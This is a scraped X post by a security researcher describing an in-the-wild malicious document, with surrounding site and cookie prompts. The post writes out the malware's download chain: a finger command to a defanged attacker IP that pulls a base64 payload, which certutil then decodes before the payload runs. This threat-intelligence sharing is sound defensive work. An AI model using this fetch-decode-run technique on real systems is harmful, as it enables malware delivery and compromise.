



Settings



Post



Kirk Sayre  
@bigmacjpg



[virustotal.com/gui/file/321b5...](#) ITW maldoc using finger.exe to download 2nd stage. Runs 'finger nc20@184[.]164[.]146[.]102' to pull down b64 encoded cert, certutil to decode, runs payload. Payload is [virustotal.com/gui/file/27225....](#)

3:38 PM · Jan 14, 2021

35 Reposts 4 Quotes 68 Likes 10 Bookmarks



10



New to X?

Sign up now to get your own personalized timeline!



Sign up with Google



Sign up with Apple

Create account

By signing up, you agree to the [Terms of Service](#) and [Privacy Policy](#), including [Cookie Use](#).

Something went wrong. Try reloading.



Retry

[Terms of Service](#) [Privacy Policy](#) [Cookie Policy](#)  
[Accessibility](#) [Ads info](#) [More ...](#) © 2024 X Corp.

Don't miss what's happening

People on X are the first to know.

Log in

Sign up

Welcome to x.com!



We are letting you know that we are changing our URL, but your privacy and data protection settings remain the same.  
For more details, see our Privacy Policy: <https://x.com/en/privacy>.

Did someone say ... cookies?

X and its partners use cookies to provide you with a better, safer and faster service and to support our business. Some cookies are necessary to use our services, improve our services, and make sure they work properly. [Show more about your choices.](#)

Accept all cookies

Refuse non-essential cookies